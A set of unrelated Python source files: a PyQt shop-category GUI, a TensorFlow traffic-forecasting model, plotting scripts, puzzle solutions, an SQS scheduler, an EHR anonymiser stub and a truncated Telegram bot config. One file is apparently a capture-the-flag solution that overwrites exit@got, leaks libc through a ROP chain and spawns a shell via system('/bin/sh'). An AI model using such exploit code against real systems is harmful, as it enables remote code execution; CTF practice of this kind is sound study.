from doudian import Ui_MainWindow
from PyQt5.QtWidgets import QApplication, QTableWidget, QMainWindow
from qt_material import apply_stylesheet
import sys
import os
import time
import combox

CLASS_VALUE = {'玩具乐器': ['玩具', '乐器', '其他'],
               '服饰内衣': ['配饰', '女装', '男装', '内衣'],
               '个护家清': ['纸巾清洁剂', '个人护理'],
               '智能家居': ['床上用品', '厨房用具', '厨房电器', '五金', '日用品', '布艺', '餐具', '家具', '家居饰品', '清洁用具', '收纳整理', '灯具', '汽车'],
               '生鲜': ['肉类', '水果', '蔬菜', '冷冻食品', '海鲜水产'],
               '美妆': ['护肤品', '化妆品'],
               '母婴宠物': ['童鞋', '奶粉辅食', '孕妇产品', '婴童产品', '童装', '宠物用品', '纸尿裤'],
               '食品饮料': ['米面调味', '零食', '传统滋补', '营养保健', '饮料'],
               '3C数码家电': ['手机', '电脑', '数码配件', '影音电器', '智能设备'],
               '图书音像': ['图书', '学习用品'],
               '鞋靴箱包': ['箱包', '男鞋', '女鞋'],
               '运动户外': ['运动健身', '运动服', '户外登山', '运动包', '运动鞋'],
               '钟表配饰': ['眼镜', '饰品', '钟表'],
               '珠宝文玩': ['古董收藏', '珠宝黄金']}

items = ['FH1', 'FH2', 'FH3', 'FH5', 'FH9', 'FH10', 'HT1', 'HT2', 'HT3', 'HT5', 'HT6', 'HT7', 'LH1', 'LH2', 'LH3', 'ZS1']

class Run:
    def __init__(self):
        self.app = QApplication(sys.argv)
        self.main = QMainWindow()
        self.window = Ui_MainWindow()
        self.window.setupUi(self.main)

        # 类目设置
        self.window.big_class_comboBox.addItems(CLASS_VALUE.keys())  # 设置大类目数据
        self.window.big_class_comboBox.setCurrentIndex(7)  # 设置大类目默认数据
        self.big_class_value = self.window.big_class_comboBox.currentText()  # 获取大类目已选择字符串
        self.window.big_class_comboBox.currentIndexChanged.connect(self.set_small_class_list)  # 当大类目数据改变时更新小类目数据
        self.window.small_class_comboBox.addItems(CLASS_VALUE[self.big_class_value])  # 设置小类目数据
        self.small_value = self.window.small_class_comboBox.currentText()  # 已选择字符串
        self.window.small_class_comboBox.currentIndexChanged.connect(self.get_small_class_value)

        # 设置初始数据
        self.window.save_name_lineEdit.setText('doudian.xlsx')
        self.sales_list = [
            [False, '¥0-100'][self.window.sales_100_500_checkBox.isChecked()],
            [False, '¥500-1000'][self.window.sales_500_1k_checkBox.isChecked()],
            [False, '¥1000-5000'][self.window.sales_1k_5k_checkBox.isChecked()],
            [False, '¥5000-1万'][self.window.sales_5k_1w_checkBox.isChecked()],
            [False, '¥1万-5万'][self.window.sales_1w_5w_checkBox.isChecked()],
            [False, '¥5万-10万'][self.window.sales_5w_10w_checkBox.isChecked()],
            [False, '¥10万-50万'][self.window.sales_10w_50w_checkBox.isChecked()],
            [False, '¥100万-500万'][self.window.sales_100w_500w_checkBox.isChecked()],
            [False, '达人未授权'][self.window.sales_is_none_checkBox.isChecked()]
        ]
        self.sales_list = [i for i in self.sales_list if i is not False]

        self.apply_stylesheet = apply_stylesheet(self.app, theme='dark_teal.xml')
        self.main.show()
        sys.exit(self.app.exec_())

    # 类目设置槽函数
    def set_small_class_list(self):
        """
        当大类目改变时设置小类目列表
        """
        self.big_class_value = self.window.big_class_comboBox.currentText()
        self.window.small_class_comboBox.clear()  # 清除旧数据
        self.window.small_class_comboBox.addItems(CLASS_VALUE[self.big_class_value])  # 设置新数据

    def get_small_class_value(self):
        """
        当小类目改变时，获取小类目选择字符串
        """
        self.small_value = self.window.small_class_comboBox.currentText()

if __name__ == '__main__':
    run = Run()
    run()


import tensorflow as tf

from ..model_unit import BaseModel
from ..model_unit.GraphModelLayers import GCL

class ST_MGCN(BaseModel):
    """

    References:
        - `Spatiotemporal multi-graph convolution network for ride-hailing demand forecasting (Geng Xu, et al., 2019)
          <http://www-scf.usc.edu/~yaguang/papers/aaai19_multi_graph_convolution.pdf>`_.
        - `A PyTorch implementation of the ST-MGCN model  (shawnwang-tech)
          <https://github.com/shawnwang-tech/ST-MGCN-pytorch>`_.

    Args:
        T(int): Input sequence length
        input_dim(int): Input feature dimension
        num_graph(int): Number of graphs used in the model.
        gcl_k(int): The highest order of Chebyshev Polynomial approximation in GCN.
        gcl_l(int): Number of GCN layers.
        lstm_units(int): Number of hidden units of RNN.
        lstm_layers(int): Number of LSTM layers.
        lr(float): Learning rate
        external_dim(int): Dimension of the external feature, e.g. temperature and wind are two dimension.
        code_version(str): Current version of this model code, which will be used as filename for saving the model
        model_dir(str): The directory to store model files. Default:'model_dir'.
        gpu_device(str): To specify the GPU to use. Default: '0'.
    """
    def __init__(self,
                 T,
                 input_dim,
                 num_graph,
                 gcl_k,
                 gcl_l,
                 lstm_units,
                 lstm_layers,
                 lr,
                 external_dim,
                 code_version,
                 model_dir,
                 gpu_device):

        super(ST_MGCN, self).__init__(code_version=code_version,
                                      model_dir=model_dir,
                                      gpu_device=gpu_device)

        self._T = T
        self._input_dim = input_dim
        self._num_graph = num_graph
        self._gcl_k = gcl_k
        self._gcl_l = gcl_l
        self._lstm_units = lstm_units
        self._lstm_layers = lstm_layers
        self._lr = lr
        self._external_dim = external_dim

    def build(self, init_vars=True, max_to_keep=5):
        with self._graph.as_default():
            # [batch, T, num_stations, input_dim]
            traffic_flow = tf.placeholder(tf.float32, [None, self._T, None, self._input_dim])
            laplacian_matrix = tf.placeholder(tf.float32, [self._num_graph, None, None])
            target = tf.placeholder(tf.float32, [None, None, 1])

            self._input['traffic_flow'] = traffic_flow.name
            self._input['laplace_matrix'] = laplacian_matrix.name
            self._input['target'] = target.name

            station_number = tf.shape(traffic_flow)[-2]

            outputs = []

            for graph_index in range(self._num_graph):
                with tf.variable_scope('CGRNN_Graph%s' % graph_index, reuse=False):
                    f_k_g = GCL.add_multi_gc_layers(tf.reshape(traffic_flow, [-1, station_number, self._input_dim]),
                                                    gcn_k=1, gcn_l=1, output_size=self._input_dim,
                                                    laplacian_matrix=laplacian_matrix[graph_index],
                                                    activation=tf.nn.tanh)

                    f_k_g = tf.reshape(f_k_g, [-1, self._T, station_number, self._input_dim])

                    x_hat = tf.concat([f_k_g, traffic_flow], axis=-1)

                    z = tf.reduce_mean(x_hat, axis=-2, keepdims=True)

                    s = tf.layers.dense(tf.layers.dense(z, units=4, use_bias=False, activation=tf.nn.relu),
                                        units=1, use_bias=False, activation=tf.nn.sigmoid)

                    x_rnn = tf.multiply(traffic_flow, tf.tile(s, [1, 1, station_number, self._input_dim]))

                    x_rnn = tf.reshape(tf.transpose(x_rnn, perm=[0, 2, 1, 3]), [-1, self._T, self._input_dim])

                    for lstm_layer_index in range(self._lstm_layers):
                        x_rnn = tf.keras.layers.LSTM(units=self._lstm_units,
                                                     activation='tanh',
                                                     dropout=0.1,
                                                     kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-4),
                                                     return_sequences=True if lstm_layer_index<self._lstm_layers-1
                                                                      else False)\
                                                    (x_rnn)

                    H = tf.reshape(x_rnn, [-1, station_number, self._lstm_units])

                    outputs.append(H)

            outputs = tf.reduce_sum(outputs, axis=0)

            # external dims
            if self._external_dim is not None and self._external_dim > 0:
                external_input = tf.placeholder(tf.float32, [None, self._external_dim])
                self._input['external_feature'] = external_input.name
                external_dense = tf.layers.dense(inputs=external_input, units=10)
                external_dense = tf.tile(tf.reshape(external_dense, [-1, 1, 10]),
                                         [1, tf.shape(outputs)[-2], 1])
                outputs = tf.concat([outputs, external_dense], axis=-1)

            prediction = tf.layers.dense(outputs, units=1)

            loss = tf.sqrt(tf.reduce_mean(tf.square(prediction - target)))

            train_operation = tf.train.AdamOptimizer(self._lr).minimize(loss, name='train_op')

            # record output
            self._output['prediction'] = prediction.name
            self._output['loss'] = loss.name

            # record train operation
            self._op['train_op'] = train_operation.name

            super(ST_MGCN, self).build(init_vars=init_vars, max_to_keep=max_to_keep)

    # Step 1 : Define your '_get_feed_dict function‘, map your input to the tf-model
    def _get_feed_dict(self, traffic_flow, laplace_matrix, target=None, external_feature=None):
        feed_dict = {
            'traffic_flow': traffic_flow,
            'laplace_matrix': laplace_matrix,
        }
        if target is not None:
            feed_dict['target'] = target
        if external_feature is not None:
            feed_dict['external_feature'] = external_feature
        return feed_dict


# -*- coding: utf-8 -*-
"""
Created on Sat May 22 16:54:05 2021.

@author: Alejandro
"""

from numpy import arange
from pylab import meshgrid, cm, imshow, contour, clabel, colorbar, title
import math
import numpy as np
import matplotlib as mpl
from matplotlib.ticker import FormatStrFormatter
import matplotlib.pyplot as plt

# Directorios datos
pathOut = r"output/"

def z_func(x, y, A):
    """
    Calcular la distancia entre el punto (x, y) y el conjunto A.

    x: float.
    y: float.
    A: list.
    """
    p1 = (x, y)
    return min([math.sqrt(sum([(a - b) ** 2 for a, b in zip(p1, p2)])) for p2 in A])

mpl.rcParams['figure.dpi'] = 100

A = [(-1.0, 0.0), (1.0, 0.0), (1.0, 1.0), (-1.0, -1.0)]
x = arange(-3.0, 3.0, 0.1)
y = arange(-3.0, 3.0, 0.1)
# grid of point
X, Y = meshgrid(x, y)
# evaluation of the function on the grid
Z = np.array([[z_func(x1, y1, A) for x1 in x] for y1 in y])
# drawing the function
im = imshow(Z, cmap=cm.RdBu)
# adding the Contour lines with labels
cset = contour(Z, arange(-1, 1.5, 0.2), linewidths=2, cmap=cm.Set2)
clabel(cset, inline=True, fmt='%1.1f', fontsize=10)
# adding the colobar on the right
colorbar(im)
# latex fashion title
title('$z=d((x,y), A)$')
plt.savefig(pathOut + 'subnivelDistancias.png', dpi=200, bbox_inches='tight')
plt.show()

fig = plt.figure(dpi=200)
ax = fig.gca(projection='3d')
surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1,
                       cmap=cm.RdBu, linewidth=0, antialiased=True)

ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))
fig.colorbar(surf, shrink=0.8, aspect=10, pad=0.1)

fig.savefig(pathOut + 'grafoDistancias.png', dpi=200, bbox_inches='tight')
plt.show()


import socket
from .. import _abc as abc

class SyncResolver(abc.SyncResolver):
    # noinspection PyMethodMayBeStatic
    def resolve(self, host, port=0, family=socket.AF_UNSPEC):
        infos = socket.getaddrinfo(host=host, port=port, family=family, type=socket.SOCK_STREAM)

        if not infos:  # pragma: no cover
            raise OSError('Can`t resolve address {}:{} [{}]'.format(host, port, family))

        infos = sorted(infos, key=lambda info: info[0])

        family, _, _, _, address = infos[0]
        return family, address[0]


import json
import schedule
import time
import boto3
import os

from dotenv import load_dotenv

# Use this import for local test
# import GetData

from feedback import GetData

''' Loading Environment files '''
load_dotenv()

class Scheduler:
    def __init__(self, columns, isAllColumn, feedScheduler, table, tableRegion, queueName, queueRegion,
                 isStartScheduler, columnToCheck):
        self.columns = columns
        self.isAllColumn = isAllColumn
        self.feedScheduler = feedScheduler
        self.table = table
        self.queueName = queueName
        self.isStartScheduler = isStartScheduler
        self.tableRegion = tableRegion
        self.queueRegion = queueRegion
        self.columnToCheck = columnToCheck

    def schedulerJob(self):
        getData = GetData.GetData(self.tableRegion, self.table, self.columnToCheck)
        dbData=getData.scanTable()
        if(len(dbData) >0):
            if(self.isAllColumn):
                sqs_client = boto3.client("sqs", region_name=self.queueRegion)
                print("Set all Columns")
                queueResponse = sqs_client.get_queue_url(QueueName=self.queueName)
                queue_url = queueResponse['QueueUrl']
                response = sqs_client.send_message(QueueUrl=queue_url, MessageBody=json.dumps(dbData))
                print("queue response {}".format(response))

            else:
                print("Set selected Columns {}".format(self.columns))

    def scheduler(self):
        print("Started Scheduling ...")
        schedule.every(self.feedScheduler).seconds.do(self.schedulerJob)

        while self.isStartScheduler:
            schedule.run_pending()
            time.sleep(self.feedScheduler/10)

    def stop(self):
        self.isStartScheduler=False


from ptrlib import *
import os

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", "9002"))

def setval(index, value):
    sock.sendlineafter("index: ", str(index))
    sock.sendlineafter("value: ", str(value))

libc = ELF("../distfiles/libc-2.31.so")
elf = ELF("../distfiles/chall")
#sock = Process("../distfiles/chall")
sock = Socket(HOST, PORT)

"""
1. Leak address
"""
sock.sendlineafter("size: ", "5")

# prepare rop chain
setval(0, next(elf.gadget("pop rdi; ret;")))
setval(1, elf.got("printf"))
setval(2, elf.plt("printf"))
setval(3, elf.symbol("_start"))

# size = 0xffffffffffffffff
setval(4, (1<<64)-1)

# arr = exit@got
setval(6, elf.got('exit'))
# exit@got = run rop chain
setval(0, next(elf.gadget("add rsp, 8; ret;")))

# exit
sock.sendlineafter("index: ", "-1")

# leak
libc_base = u64(sock.recv(6)) - libc.symbol("printf")
libc.set_base(libc_base)

"""
2. pwn
"""
sock.sendlineafter("size: ", "5")

# prepare rop chain
setval(0, next(elf.gadget("pop rdi; ret;")))
setval(1, next(libc.search("/bin/sh")))
setval(2, libc.symbol("system"))

# size = 0xffffffffffffffff
setval(4, (1<<64)-1)

# arr = exit@got
setval(6, elf.got('exit'))
# exit@got = run rop chain
setval(0, next(elf.gadget("add rsp, 8; ret;")))

# exit
sock.sendlineafter("index: ", "-1")

sock.sh()


# exercício de: https://olimpiada.ic.unicamp.br/pratique/p1/2017/f1/cofre/

N_sequence = int(input().split(" ")[0])
sequence = [int(i) for i in input().split(" ")]
positions = [int(i) for i in input().split(" ")]
key = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
position = -1

for i in positions:
    if i-1 > position:
        for j in range(position+1, i):
            key[sequence[j]] += 1
    else:
        for j in range(position-1, i-2, -1):
            key[sequence[j]] += 1
    position = i - 1

print(key)


"""
https://leetcode.com/problems/rotate-image/description/

You are given an n x n 2D matrix representing an image.

Rotate the image by 90 degrees (clockwise).

Note:

You have to rotate the image in-place, which means you have to modify the input 2D matrix directly. DO NOT allocate another 2D matrix and do the rotation.

Example 1:

Given input matrix =
[
  [1,2,3],
  [4,5,6],
  [7,8,9]
],

rotate the input matrix in-place such that it becomes:
[
  [7,4,1],
  [8,5,2],
  [9,6,3]
]
Example 2:

Given input matrix =
[
  [ 5, 1, 9,11],
  [ 2, 4, 8,10],
  [13, 3, 6, 7],
  [15,14,12,16]
],

rotate the input matrix in-place such that it becomes:
[
  [15,13, 2, 5],
  [14, 3, 4, 1],
  [12, 6, 8, 9],
  [16, 7,10,11]
]
"""

class Solution(object):
    def rotate(self, matrix):
        """
        Common method to rotate clockwise.

        1. Reverse up to down
        2. Swap the reflections (matrix[i][j] with matrix[j][i])
        :type matrix: List[List[int]]
        :rtype: None Do not return anything, modify matrix in-place instead.
        """
        self.reverse(matrix)
        for i in range(len(matrix)):
            for j in range(i, len(matrix[i])):
                current_cell = matrix[i][j]
                mirror_cell = matrix[j][i]
                matrix[i][j] = mirror_cell
                matrix[j][i] = current_cell

    def reverse(self, matrix):
        for i in range(int(len(matrix) / 2)):
            current_row = matrix[i]
            swap_row = matrix[len(matrix) - 1 - i]
            matrix[i] = swap_row
            matrix[len(matrix) - 1 - i] = current_row


# 소용돌이 예쁘기 출력하기
# https://www.acmicpc.net/problem/1022

def num(r, c):
    n = max(abs(r), abs(c))
    if r == c == n:
        return (2*n+1)**2
    if r == n:
        return (2*n+1)**2 - (n-c)
    if c == -n:
        return (2*n+1)**2 - (2*n) - (n-r)
    if r == -n:
        return (2*n+1)**2 - 2*(2*n) - (n+c)
    if c == n:
        return (2*n+1)**2 - 3*(2*n) - (n+r)
    return n

r1, c1, r2, c2 = map(int, input().split())
max_num = max(num(r1,c1), num(r1,c2), num(r2,c1), num(r2,c2)) # 최대값은 항상 꼭짓점에서 발생
max_length = len(str(max_num))

for i in range(r1, r2+1):
    for j in range(c1, c2+1):
        print('{:>{width}}'.format(num(i, j), width=max_length), end=' ')
    print()


import os
import queue
import sys
import threading
import time

_path_parent = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(_path_parent)

from PIL import Image, ImageDraw, ImageFont
import argparse
from Utility import sharedUtils
from colors import XTERM_TO_HEX

config_path = os.path.join(_path_parent, 'config.ini')
file_end, img_fmt = (sharedUtils.get_single_value_from_config(config_path, 'HEXIMG', 'file_end'),
                     sharedUtils.get_single_value_from_config(config_path, 'HEXIMG', 'img_fmt'))

parser = argparse.ArgumentParser('Hex files to images')
file_grp = parser.add_mutually_exclusive_group(required=True)
file_grp.add_argument('--file', nargs='+', default=[], help='File containing Hex Stream')
file_grp.add_argument('--file_dir', nargs='+', default=[],
                      help=f'Paths to directory where to search for files. File\'s name have to end with "{file_end}"')
parser.add_argument('--threads', help='Number of threads to use. Each thread process a text file.', type=int, default=3)
parser.add_argument('--save', help='Save the images to files instead of displaying them.', action='store_true')
parser.add_argument('--text', help='Write the hex value on each block.', action='store_true')
parser.add_argument('--text_size', help='The text size', type=int, default=30)
parser.add_argument('--text_font', help='The font name', type=str, default='arial.ttf')
parser.add_argument('--highlight',
                    help='Highlight a pattern in the image. I will be highlighted by a border on the block', type=str)
parser.add_argument('--highlight_width', help='The highlight line width', type=int, default=15)
parser.add_argument('--width', help='The image width as number of blocks for each row', type=int, default=16)
parser.add_argument('--block_width', help='The block width as number of pixels', type=int, default=128)
parser.add_argument('--block_height', help='The block height as number of pixels', type=int, default=128)

args = parser.parse_args()
WIDTH_IMG = args.block_width * args.width
TEXT_POS = (args.block_width // 2, args.block_height // 2)
if not args.text_font.endswith('.ttf'):
    args.text_font += '.ttf'
text_font = ImageFont.truetype(args.text_font, args.text_size)
BLOCK_SIZE = (args.block_width, args.block_height)

if args.file_dir:
    args.file = sharedUtils.get_db_paths_from_dirs(args.file_dir, file_end)
else:
    sharedUtils.check_db_files_exist(args.file)

datasets = []

for file_path in args.file:
    with open(file_path) as f:
        hex_stream = f.read()
        len_f = len(hex_stream)

        data = []
        for i in range(0, len_f, 2):
            if (i / 2) % args.width == 0:
                data.append([])
            data[-1].append(hex_stream[i:i + 2])

        datasets.append({
            'label': sharedUtils.get_file_name_from_path(file_path).split('.')[0],
            'data': data,
            'len': len_f,
            'num_blocks_vert': len(data)
        })

# https://stackoverflow.com/questions/38478409/finding-out-complementary-opposite-color-of-a-given-color
def complementary_color(my_hex):
    if my_hex[0] == '#':
        my_hex = my_hex[1:]
    rgb = (my_hex[0:2], my_hex[2:4], my_hex[4:6])
    comp = ['%02X' % (255 - int(a, 16)) for a in rgb]
    return '#' + ''.join(comp)

def create_image(dataset):
    img = Image.new('RGB', (WIDTH_IMG, args.block_height * dataset['num_blocks_vert']), 'black')
    for r, data_r in enumerate(dataset['data']):
        for c, data_c in enumerate(dataset['data'][r]):
            hex_val = dataset['data'][r][c]
            color = XTERM_TO_HEX[int(hex_val, 16)]
            block = Image.new('RGB', BLOCK_SIZE, color)
            if args.text or args.highlight:
                dc = ImageDraw.Draw(block)
                comp_color = complementary_color(color)
                if args.text:
                    _, _, w, h = dc.textbbox((0, 0), hex_val, font=text_font)
                    dc.text(((args.block_width - w) / 2, (args.block_height - h) / 2), hex_val, font=text_font,
                            fill=comp_color)
                if args.highlight == hex_val:
                    dc.rectangle([(0, 0), BLOCK_SIZE], outline=comp_color, width=args.highlight_width)
            img.paste(block, (c * args.block_height, r * args.block_width))

    return img

def worker(jobs):
    while jobs.qsize() > 0:
        dataset = jobs.get()
        img = create_image(dataset)
        title = f"{dataset['label']}.{img_fmt}"
        if args.save:
            img.save(title)
        else:
            img.show(title)

        jobs.task_done()

img_jobs = queue.Queue()
for ds in datasets:
    img_jobs.put(ds)

threads = []
for _ in range(args.threads):
    p_t = threading.Thread(target=worker, args=(img_jobs,), daemon=True)
    p_t.start()
    threads.append(p_t)
    n_t = threading.Thread(target=worker, args=(img_jobs,), daemon=True)
    n_t.start()
    threads.append(n_t)

done = False
while not done:
    for t in threads:
        if t.is_alive():
            time.sleep(1)
            break
    else:
        done = img_jobs.empty()


def fact(n):
    if n > 0:
        a = 1
        for i in range(1, n):
            a *= n
            n = n - 1

        print(a)

    else:
        print('Enter a number greater than 0')

fact(5)

# by recursion

def factRec(n):
    if n == 0:
        return 1

    return n * factRec(n - 1)

print(factRec(5))


import networkx as nx
from collections import deque
from copy import deepcopy
import time

def propagation(graph: nx.DiGraph, expertise: dict[int, tuple[float, float]], seeds: set[int], flag: int, edge: tuple[int, int] = None) -> set[int]:
    newly_activated = seeds.copy()
    activated = seeds.copy()
    sum_i = dict()
    while newly_activated:
        out_edges = graph.out_edges(newly_activated, data='weight')
        newly_activated = set()
        for u, v, influence in out_edges:
            if (u,v) == edge:
                continue
            try:
                sum_i[v] += influence
            except KeyError:
                sum_i[v] = influence
            if v not in activated and sum_i[v] >= expertise[v][flag]:
                newly_activated.add(v)
                activated.add(v)
    return activated

def deterministic_LT(graph: nx.DiGraph, expertise: dict[int, tuple[float, float]], seeds_truth: set[int], seeds_false: set[int], k: int):
    start = time.time()

    # compute truth and lie propagation
    activated_t = propagation(graph, expertise, seeds_truth, 0)
    activated_f = propagation(graph, expertise, seeds_false, 1)

    initial_good = len(activated_t)
    initial_bad = len(activated_f)
    total = initial_value = initial_bad

    # prune graphs
    nodes = set(graph.nodes())
    graph_truth = nx.DiGraph(graph)
    graph_truth.remove_nodes_from(nodes - activated_t)
    in_edges = deepcopy(graph_truth.in_edges(seeds_truth))
    graph_truth.remove_edges_from(in_edges)

    graph_false = nx.DiGraph(graph)
    graph_false.remove_nodes_from(nodes - activated_f)
    in_edges = deepcopy(graph_false.in_edges(seeds_false))
    graph_false.remove_edges_from(in_edges)

    truth_edges = set(graph_truth.edges())
    false_edges = set(graph_false.edges())

    # edges to examine, the rest is useless
    edges = false_edges

    removed_edges = []
    values = [total]

    while k:
        temp = ((0, 0), total)
        for edge in edges:
            temp_activated_t = len(activated_t)
            if edge in truth_edges:
                temp_activated_t = len(propagation(graph_truth, expertise, seeds_truth, 0, edge))

            temp_activated_f = len(activated_f)
            if edge in false_edges:
                temp_activated_f = len(propagation(graph_false, expertise, seeds_false, 1, edge))
            new_total = initial_good - temp_activated_t + temp_activated_f

            if new_total < temp[1]:
                temp = (edge, new_total)
        if temp[1] == total:
            print(f'We stopped at {k} remaining edge(s).')
            break
        else:
            removed_edges.append(temp[0])
            k -= 1
            total = temp[1]
            values.append(total)
            try:
                graph_truth.remove_edge(*temp[0])
            except nx.NetworkXError:
                pass
            graph_false.remove_edge(*temp[0])

            activated_t = propagation(graph_truth, expertise, seeds_truth, 0)
            activated_f = propagation(graph_false, expertise, seeds_false, 1)

            # prune graphs
            graph_truth.remove_nodes_from(set(graph_truth.nodes()) - activated_t)
            graph_false.remove_nodes_from(set(graph_false.nodes()) - activated_f)

            truth_edges = set(graph_truth.edges())
            false_edges = set(graph_false.edges())

            # edges to examine, the rest is useless
            edges = false_edges

    print('Greedy solution')
    print('I removed:', removed_edges)
    print('Initial value:', initial_value)
    print('Final value:', total)
    duration = time.time() - start
    return values, duration


#!/usr/bin/env python3

# This stub program simulates the effect of running
#   ${semehr_dir}/CogStack-SemEHR/analysis/clinical_doc_wrapper.py
#
# NOTE!  This program uses python3 but the real clinical_doc_wrapper
# still uses python2 so this stub does not verify that python2 works.
# NOTE!  This program accepts the -s option to set the semehr_dir for
# testing but the real clinical_doc_wrapper uses a hard-coded path.
#
# It expects the input documents (from CTP_DicomToText.py) in
#   ${semehr_dir}/data/input_docs/
# and writes output into
#   ${semehr_dir}/data/anonymised/
#
#   ${semehr_dir} is typically /opt/semehr

import argparse
import glob
import logging
import os
import re
import sys

from SmiServices import Knowtator

semehr_root_dir = '/opt/semehr'
fake_pattern = 'Baker'  # This appears in the test document so anonymise it

def fake_anonymise(doc_filename):
	""" Fake the output from SemEHR, both txt and xml.
	Creates the text file by stripping off the headers.
	Given a filename (no path) read input_dir/doc_filename
	and write to two files:
	output_dir/doc_filename
	output_dir/doc_filename.knowtator.xml
	"""
	tmp_file = os.path.join(input_dir, doc_filename)
	txt_file = os.path.join(output_dir, doc_filename)
	xml_file = os.path.join(output_dir, doc_filename+'.knowtator.xml')
	logging.debug('Fake-anonymising the name %s in %s -> %s' % (fake_pattern, doc_filename, txt_file))
	fdin = open(tmp_file, 'r')
	fdout = open(txt_file, 'w')
	in_text = False
	in_cs = False
	for line in fdin:
		if re.match(r'^\[\[Text\]\]', line):
			in_text = True
			continue
		if re.match(r'^\[\[ContentSequence\]\]', line):
			in_cs = True
			continue
		if re.match(r'^\[\[EndText\]\]', line):
			in_text = False
			continue
		if re.match(r'^\[\[EndContentSequence\]\]', line):
			in_cs = False
			continue
		if not in_text and not in_cs:
			continue
		fdout.write(line)
	fdin.close()
	fdout.close()
	# Create the XML dict by finding the pattern in the text:
	with open(txt_file, 'r') as fd:
		txt = fd.read()
	xml_dict = [{ 'start_char': m.start(), 'end_char': m.end(), 'text': fake_pattern } for m in re.finditer(fake_pattern, txt)]
	# Create the XML file:
	xml_str = Knowtator.dict_to_annotation_xml_string(xml_dict)
	with open(xml_file, 'w') as fd:
		fd.write(xml_str)

	return

def main():
	global semehr_root_dir
	global input_dir
	global output_dir

	input_dir = os.path.join(semehr_root_dir, 'data', 'input_docs')
	output_dir = os.path.join(semehr_root_dir, 'data', 'anonymised')

	logging.basicConfig(level=logging.DEBUG,
		format='[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s - %(message)s')

	parser = argparse.ArgumentParser(description='SemEHR-Anonymiser')
	parser.add_argument('-s', dest='semehr_dir', action="store", help='root path for semehr, default %s' % semehr_root_dir)
	parser.add_argument('-i', dest='inp', action="store", help='semehr input_docs directory, default %s' % input_dir)
	parser.add_argument('-o', dest='out', action="store", help='semehr anonymised directory, default %s' % output_dir)
	args = parser.parse_args()
	if args.semehr_dir:
		semehr_root_dir = args.semehr_dir
		input_dir = os.path.join(semehr_root_dir, 'data', 'input_docs')
		output_dir = os.path.join(semehr_root_dir, 'data', 'anonymised')
	if args.inp:
		input_dir = args.inp
	if args.out:
		output_dir = args.out

	if not os.path.isdir(input_dir):
		logging.error('no such input directory %s', input_dir)
		exit(1)
	if not os.path.isdir(output_dir):
		logging.error('no such output directory %s', output_dir)
		exit(1)

	for doc_filename in glob.glob(os.path.join(input_dir, '*')):
		fake_anonymise(os.path.basename(doc_filename))

main()

exit(0)


import re
from functools import reduce, cache
from itertools import product
from string import digits
from operator import mul
from collections import Counter, namedtuple
import math

INPUT_FILE = 'input/2023_17.txt'
# INPUT_FILE = 'input/2023_17_test.txt'

with open(INPUT_FILE) as fp:
    txt = fp.read().strip()

g = txt.split('\n')
g = [list(map(int, xs)) for xs in g]
X, Y = len(g), len(g[0])
M = int(1e9)
MIN_STEPS = 4
MAX_STEPS = 10
DIRS = 4
directions = [(0, -1), (0, 1), (-1, 0), (1, 0)]

states = [(0, 0, 0, x, 0) for x in range(len(directions))]
best = M

def is_in_grid(px, py):
    return not (px < 0 or py < 0 or px >= X or py >= Y)

best_state_at = {}
while len(states):
    new_states = []
    for x, y, s, d, q in states:

        # must go straight
        if s < MIN_STEPS:
            dr = directions[d]
            px, py = x + dr[0], y + dr[1]
            if is_in_grid(px, py):
                new_states.append((px, py, s + 1, d, q + g[px][py]))

        # can turn or continue
        elif s <= MAX_STEPS:
            for d_idx, dr in enumerate(directions):
                px, py = x + dr[0], y + dr[1]
                if not is_in_grid(px, py):
                    continue

                twodirs = set([d, d_idx])
                if twodirs == {0, 1} or twodirs == {2, 3}:
                    continue

                if d == d_idx:
                    # can only continue if not at max steps
                    if s < MAX_STEPS:
                        new_states.append((px, py, s + 1, d, q + g[px][py]))
                else:
                    new_states.append((px, py, 1, d_idx, q + g[px][py]))

    states = []
    for state in new_states:
        assert state[2] <= MAX_STEPS, state
        if state[:2] == (X - 1, Y - 1):
            if state[2] in range(MIN_STEPS, MAX_STEPS + 1):
                best = min(best, state[4])
        elif state[4] < best:
            if best_state_at.get(state[:4], M + 1) > state[4]:
                best_state_at[state[:4]] = state[4]
                states.append(state)
    print(best, len(states))

print(best)


import logging
import os
import sys
import json
import asyncio
import time
import spamwatch
import telegram.ext as tg
from aiohttp import ClientSession
from Python_ARQ import ARQ
from pymongo import MongoClient
from odmantic import AIOEngine
from motor import motor_asyncio
from telethon import TelegramClient
from telethon.sessions import MemorySession
from pyrogram import Client, errors
from pymongo.errors import ServerSelectionTimeoutError
from pyrogram.errors.exceptions.bad_request_400 import PeerIdInvalid, ChannelInvalid
from pyrogram.types import Chat, User

StartTime = time.time()

def get_user_list(__init__, key):
    with open("{}/NaoRobot/{}".format(os.getcwd(), __init__), "r") as json_file:
        return json.load(json_file)[key]

# enable logging
FORMAT = "[NaoRobot] %(message)s"
logging.basicConfig(
    handlers=[logging.FileHandler("log.txt"), logging.StreamHandler()],
    level=logging.INFO,
    format=FORMAT,
    datefmt="[%X]",
)
logging.getLogger("pyrogram").setLevel(logging.WARNING)

LOGGER = logging.getLogger(__name__)
LOGGER.info("NaoRobot is starting. | An NaoRobot Union Project. | Licensed under GPLv3.")
LOGGER.info("Not affiliated to Shie Hashaikai or Villain in any way whatsoever.")

# enable logging
logging.basicConfig(
    format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
    handlers=[logging.FileHandler("log.txt"), logging.StreamHandler()],
    level=logging.INFO,
)

LOGGER = logging.getLogger(__name__)

# if version < 3.6, stop bot.
if sys.version_info[0] < 3 or sys.version_info[1] < 6:
    LOGGER.error(
        "You MUST have a python version of at least 3.6! Multiple features depend on this. Bot quitting."
    )
    sys.exit(1)

ENV = bool(os.environ.get("ENV", False))

if ENV:
    TOKEN = os.environ.get("TOKEN", None)

    try:
        OWNER_ID = int(os.environ.get("OWNER_ID", None))
    except ValueError:
        raise Exception("Your OWNER_ID env variable is not a valid integer.")

    JOIN_LOGGER = os.environ.get("JOIN_LOGGER", None)
    OWNER_USERNAME = os.environ.get("OWNER_USERNAME", None)

    try:
        DRAGONS = {int(x) for x in os.environ.get("DRAGONS", "").split()}
